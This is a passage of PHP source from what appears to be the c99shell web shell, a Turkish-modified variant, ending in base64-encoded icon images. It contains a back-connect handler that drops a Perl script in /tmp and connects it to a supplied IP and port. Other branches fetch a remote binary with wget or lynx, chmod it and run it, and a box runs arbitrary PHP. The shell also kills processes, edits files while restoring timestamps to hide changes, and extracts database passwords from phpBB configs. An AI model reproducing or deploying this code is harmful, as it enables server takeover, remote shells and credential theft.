  2529.    Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500  value=""><br><br>
  2530. Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br>
  2531. <input type=submit class='stealthSubmit' Value='Dosyayi Chek'>
  2532. </form>
  2533. <br><br><br>
  2534.    
  2535.    
  2536.    
  2537.    
  2538.    </center>
  2539.    
  2540.    </center>
  2541.     </td>
  2542. </tr></TABLE>
  2543.  
  2544.  
  2545.  
  2546.  
  2547.  
  2548.  
  2549.  
  2550.  
  2551.  
  2552.  
  2553.  
  2554.  
  2555. <?php
  2556.  
  2557. if (isset($_POST['dosyaa']))
  2558. {
  2559. dosyayicek($_POST['dosyaa'],$_POST['yeniyer']);
  2560.  
  2561. }
  2562. if (!empty($_GET['ipi']) && !empty($_GET['pipi']))
  2563. {
  2564.  cf("/tmp/back",$back_connect);
  2565.  $p2=which("perl");
  2566.  $blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &");
  2567. echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>";
  2568. }
  2569. if (!empty($_GET['dolma']))
  2570. {  
  2571. $sayko=htmlspecialchars($_GET['dolma']);
  2572. if ($sayko == "wgetcan")
  2573. {
  2574.  
  2575. myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind");
  2576.  
  2577.  
  2578. }
  2579.  
  2580. else if ($sayko =="freadcan")
  2581. {
  2582. dosyayicek($adires,"sayko_bind");
  2583. myshellexec("./sayko_bind");
  2584. }
  2585.  
  2586. else if ($sayko == "lynxcan")
  2587. {
  2588. myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind");
  2589.  
  2590. }
  2591.  
  2592.  
  2593.  
  2594.  
  2595.  
  2596. }
  2597.  
  2598. if  (!empty($_POST['erorr']))
  2599. {
  2600.  
  2601.  
  2602.  
  2603. error_log($_POST['erorr'], 3, "php://".$_POST['nere']);
  2604.  
  2605.  
  2606.  
  2607. }
  2608.  
  2609.  
  2610.  
  2611.  
  2612.  
  2613.  
  2614.  
  2615.  
  2616.  
  2617. }
  2618. if ($act == "processes")
  2619. {
  2620.  echo "<b>Processes:</b><br>";
  2621.  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  2622.  else {$handler = "tasklist";}
  2623.  $ret = myshellexec($handler);
  2624.  if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  2625.  else
  2626.  {
  2627.   if (empty($processes_sort)) {$processes_sort = $sort_default;}
  2628.   $parsesort = parsesort($processes_sort);
  2629.   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2630.   $k = $parsesort[0];
  2631.   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2632.   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2633.   $ret = htmlspecialchars($ret);
  2634.   if (!$win)
  2635.   {
  2636.    if ($pid)
  2637.    {
  2638.     if (is_null($sig)) {$sig = 9;}
  2639.     echo "Sending signal ".$sig." to #".$pid."... ";
  2640.     if (posix_kill($pid,$sig)) {echo "OK.";}
  2641.     else {echo "ERROR.";}
  2642.    }
  2643.    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  2644.    $stack = explode("\n",$ret);
  2645.    $head = explode(" ",$stack[0]);
  2646.    unset($stack[0]);
  2647.    for($i=0;$i<count($head);$i++)
  2648.    {
  2649.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  2650.    }
  2651.    $prcs = array();
  2652.    foreach ($stack as $line)
  2653.    {
  2654.     if (!empty($line))
  2655. {
  2656.  echo "<tr>";
  2657.      $line = explode(" ",$line);
  2658.      $line[10] = join(" ",array_slice($line,10));
  2659.      $line = array_slice($line,0,11);
  2660.      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  2661.      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2662.      $prcs[] = $line;
  2663.      echo "</tr>";
  2664.     }
  2665.    }
  2666.   }
  2667.   else
  2668.   {
  2669.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2670.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2671.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2672.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2673.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2674.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2675.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2676.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2677.    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);}
  2678.    while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  2679.    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  2680.    $ret = convert_cyr_string($ret,"d","w");
  2681.    $stack = explode("\n",$ret);
  2682.    unset($stack[0],$stack[2]);
  2683.    $stack = array_values($stack);
  2684.    $head = explode("",$stack[0]);
  2685.    $head[1] = explode(" ",$head[1]);
  2686.    $head[1] = $head[1][0];
  2687.    $stack = array_slice($stack,1);
  2688.    unset($head[2]);
  2689.    $head = array_values($head);
  2690.    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2691.    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  2692.    if ($k > count($head)) {$k = count($head)-1;}
  2693.    for($i=0;$i<count($head);$i++)
  2694.    {
  2695.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
  2696.    }
  2697.    $prcs = array();
  2698.    foreach ($stack as $line)
  2699.    {
  2700.     if (!empty($line))
  2701.     {
  2702.      echo "<tr>";
  2703.      $line = explode("",$line);
  2704.      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  2705.      $line[2] = intval(str_replace(" ","",$line[2]))*1024;  
  2706.      $prcs[] = $line;
  2707.      echo "</tr>";
  2708.     }
  2709.    }
  2710.   }
  2711.   $head[$k] = "<b>".$head[$k]."</b>".$y;
  2712.   $v = $processes_sort[0];
  2713.   usort($prcs,"tabsort");
  2714.   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  2715.   $tab = array();
  2716.   $tab[] = $head;
  2717.   $tab = array_merge($tab,$prcs);
  2718.   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  2719.   foreach($tab as $i=>$k)
  2720.   {
  2721.    echo "<tr>";
  2722.    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
  2723.    echo "</tr>";
  2724.   }
  2725.   echo "</table>";
  2726.  }
  2727. }
  2728. if ($act == "eval")
  2729. {
  2730.  if (!empty($eval))
  2731.  {
  2732.   echo "<b>Result of execution this PHP-code</b>:<br>";
  2733.   $tmp = ob_get_contents();
  2734.   $olddir = realpath(".");
  2735.   @chdir($d);
  2736.   if ($tmp)
  2737.   {
  2738.    ob_clean();
  2739.    eval($eval);
  2740.    $ret = ob_get_contents();
  2741.    $ret = convert_cyr_string($ret,"d","w");
  2742.    ob_clean();
  2743.    echo $tmp;
  2744.    if ($eval_txt)
  2745.    {
  2746.     $rows = count(explode("\r\n",$ret))+1;
  2747.     if ($rows < 10) {$rows = 10;}
  2748.     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2749.    }
  2750.    else {echo $ret."<br>";}
  2751.   }
  2752.   else
  2753.   {
  2754.    if ($eval_txt)
  2755.    {
  2756.     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  2757.     eval($eval);
  2758.     echo "</textarea>";
  2759.    }
  2760.    else {echo $ret;}
  2761.   }
  2762.   @chdir($olddir);
  2763.  }
  2764.  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2765.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2766. }
  2767. if ($act == "f")
  2768. {
  2769.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  2770.  {
  2771.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2772.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2773.  }
  2774.  else
  2775.  {
  2776.   $r = @file_get_contents($d.$f);
  2777.   $ext = explode(".",$f);
  2778.   $c = count($ext)-1;
  2779.   $ext = $ext[$c];
  2780.   $ext = strtolower($ext);
  2781.   $rft = "";
  2782.   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2783.   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2784.   if (empty($ft)) {$ft = $rft;}
  2785.   $arr = array(
  2786.    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2787.    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2788.    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2789.    array("Code","code"),
  2790.    array("Session","phpsess"),
  2791.    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2792.    array("SDB","sdb"),
  2793.    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2794.    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2795.    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2796.    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2797.    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2798.   );
  2799.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2800.   foreach($arr as $t)
  2801.   {
  2802.    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2803.    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2804.    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2805.    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2806.   }
  2807.   echo "<hr size=\"1\" noshade>";
  2808.   if ($ft == "info")
  2809.   {
  2810.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2811.    if (!$win)
  2812.    {
  2813.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  2814.     $ow = posix_getpwuid(fileowner($d.$f));
  2815.     $gr = posix_getgrgid(filegroup($d.$f));
  2816.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2817.    }
  2818.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  2819.    $fi = fopen($d.$f,"rb");
  2820.    if ($fi)
  2821.    {
  2822.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2823.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2824.     $n = 0;
  2825.     $a0 = "00000000<br>";
  2826.     $a1 = "";
  2827.     $a2 = "";
  2828.     for ($i=0; $i<strlen($str); $i++)
  2829.     {
  2830.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2831.      switch (ord($str[$i]))
  2832.      {
  2833.       case 0:  $a2 .= "<font>0</font>"; break;
  2834.       case 32:
  2835.       case 10:
  2836.       case 13: $a2 .= "&nbsp;"; break;
  2837.       default: $a2 .= htmlspecialchars($str[$i]);
  2838.      }
  2839.      $n++;
  2840.      if ($n == $hexdump_rows)
  2841.      {
  2842.       $n = 0;
  2843.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2844.       $a1 .= "<br>";
  2845.       $a2 .= "<br>";
  2846.      }
  2847.     }
  2848.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  2849.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  2850.    }
  2851.    $encoded = "";
  2852.    if ($base64 == 1)
  2853.    {
  2854.     echo "<b>Base64 Encode</b><br>";
  2855.     $encoded = base64_encode(file_get_contents($d.$f));
  2856.    }
  2857.    elseif($base64 == 2)
  2858.    {
  2859.     echo "<b>Base64 Encode + Chunk</b><br>";
  2860.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2861.    }
  2862.    elseif($base64 == 3)
  2863.    {
  2864.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2865.     $encoded = base64_encode(file_get_contents($d.$f));
  2866.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2867.    }
  2868.    elseif($base64 == 4)
  2869.    {
  2870.     $text = file_get_contents($d.$f);
  2871.     $encoded = base64_decode($text);
  2872.     echo "<b>Base64 Decode";
  2873.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2874.     echo "</b><br>";
  2875.    }
  2876.    if (!empty($encoded))
  2877.    {
  2878.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2879.    }
  2880.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2881. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2882. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2883. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2884. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2885. <P>";
  2886.   }
  2887.   elseif ($ft == "html")
  2888.   {
  2889.    if ($white) {@ob_clean();}
  2890.    echo $r;
  2891.    if ($white) {c99shexit();}
  2892.   }
  2893.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2894.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2895.   elseif ($ft == "phpsess")
  2896.   {
  2897.    echo "<pre>";
  2898.    $v = explode("|",$r);
  2899.    echo $v[0]."<br>";
  2900.    var_dump(unserialize($v[1]));
  2901.    echo "</pre>";
  2902.   }
  2903.   elseif ($ft == "exe")
  2904.   {
  2905.    $ext = explode(".",$f);
  2906.    $c = count($ext)-1;
  2907.    $ext = $ext[$c];
  2908.    $ext = strtolower($ext);
  2909.    $rft = "";
  2910.    foreach($exeftypes as $k=>$v)
  2911.    {
  2912.     if (in_array($ext,$v)) {$rft = $k; break;}
  2913.    }
  2914.    $cmd = str_replace("%f%",$f,$rft);
  2915.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2916.   }
  2917.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2918.   elseif ($ft == "code")
  2919.   {
  2920.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  2921.    {
  2922.     $arr = explode("\n",$r);
  2923.     if (count($arr == 18))
  2924.     {
  2925.      include($d.$f);
  2926.      echo "<b>phpBB configuration is detected in this file!<br>";
  2927.      if ($dbms == "mysql4") {$dbms = "mysql";}
  2928.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2929.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2930.      echo "Parameters for manual connect:<br>";
  2931.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2932.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2933.      echo "</b><hr size=\"1\" noshade>";
  2934.     }
  2935.    }
  2936.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2937.    if (!empty($white)) {@ob_clean();}
  2938.    highlight_file($d.$f);
  2939.    if (!empty($white)) {c99shexit();}
  2940.    echo "</div>";
  2941.   }
  2942.   elseif ($ft == "download")
  2943.   {
  2944.    @ob_clean();
  2945.    header("Content-type: application/octet-stream");
  2946.    header("Content-length: ".filesize($d.$f));
  2947.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2948.    echo $r;
  2949.    exit;
  2950.   }
  2951.   elseif ($ft == "notepad")
  2952.   {
  2953.    @ob_clean();
  2954.    header("Content-type: text/plain");
  2955.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2956.    echo($r);
  2957.    exit;
  2958.   }
  2959.   elseif ($ft == "img")
  2960.   {
  2961.    $inf = getimagesize($d.$f);
  2962.    if (!$white)
  2963.    {
  2964.     if (empty($imgsize)) {$imgsize = 20;}
  2965.     $width = $inf[0]/100*$imgsize;
  2966.     $height = $inf[1]/100*$imgsize;
  2967.     echo "<center><b>Size:</b>&nbsp;";
  2968.     $sizes = array("100","50","20");
  2969.     foreach ($sizes as $v)
  2970.     {
  2971.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2972.      if ($imgsize != $v ) {echo $v;}
  2973.      else {echo "<u>".$v."</u>";}
  2974.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2975.     }
  2976.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2977.    }
  2978.    else
  2979.    {
  2980.     @ob_clean();
  2981.     $ext = explode($f,".");
  2982.     $ext = $ext[count($ext)-1];
  2983.     header("Content-type: ".$inf["mime"]);
  2984.     readfile($d.$f);
  2985.     exit;
  2986.    }
  2987.   }
  2988.   elseif ($ft == "edit")
  2989.   {
  2990.    if (!empty($submit))
  2991.    {
  2992.     if ($filestealth) {$stat = stat($d.$f);}
  2993.     $fp = fopen($d.$f,"w");
  2994.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2995.     else
  2996.     {
  2997.      echo "<b>Saved!</b>";
  2998.      fwrite($fp,$edit_text);
  2999.      fclose($fp);
  3000.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  3001.      $r = $edit_text;
  3002.     }
  3003.    }
  3004.    $rows = count(explode("\r\n",$r));
  3005.    if ($rows < 10) {$rows = 10;}
  3006.    if ($rows > 30) {$rows = 30;}
  3007.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  3008.   }
  3009.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  3010.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  3011.  }
  3012. }
  3013. }
  3014. else
  3015. {
  3016.  @ob_clean();
  3017.  $images = array(
  3018. "arrow_ltr"=>
  3019. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  3020. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  3021. "back"=>
  3022. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  3023. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  3024. "Wg0JADs=",
  3025. "buffer"=>
  3026. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  3027. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  3028. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  3029. "change"=>
  3030. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  3031. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  3032. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  3033. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  3034. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  3035. "zMshADs=",
  3036. "delete"=>
  3037. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  3038. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  3039. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  3040. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  3041. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  3042. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3043. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  3044. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  3045. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  3046. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  3047. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  3048. "download"=>
  3049. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  3050. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  3051. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  3052. "forward"=>
  3053. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  3054. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  3055. "WqsJADs=",
  3056. "home"=>
  3057. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  3058. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  3059. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  3060. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  3061. "mode"=>
  3062. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  3063. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  3064. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  3065. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  3066. "refresh"=>
  3067. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  3068. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  3069. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  3070. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  3071. "search"=>
  3072. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
